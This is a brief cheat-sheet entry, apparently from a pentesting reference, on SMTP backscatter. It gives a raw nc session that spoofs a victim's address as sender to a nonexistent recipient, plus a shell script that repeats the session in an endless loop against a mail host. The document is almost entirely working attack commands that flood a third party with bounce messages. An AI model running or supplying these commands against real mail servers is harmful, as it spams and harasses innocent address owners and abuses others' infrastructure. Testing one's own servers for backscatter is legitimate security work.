backscatter

Examples

Single test

nc <mailhost> 25
EHLO domain.tld
MAIL FROM:victim@domain.tld
RCPT TO:notexistingmailbox@domain.tld
DATA
backscattering is fun
.

Automated test

Create a file with this content (backscatter.txt)

EHLO example.com
MAIL FROM:victim@example.com
RCPT TO:notexistingmailbox@target.com
DATA
backscattering is fun
.

#!/bin/sh
while true;
do
    cat backscatter.txt | while read L; do sleep "1"; echo "$L"; done | "nc" -w 3 -C -v "<mailhost>" "25";
done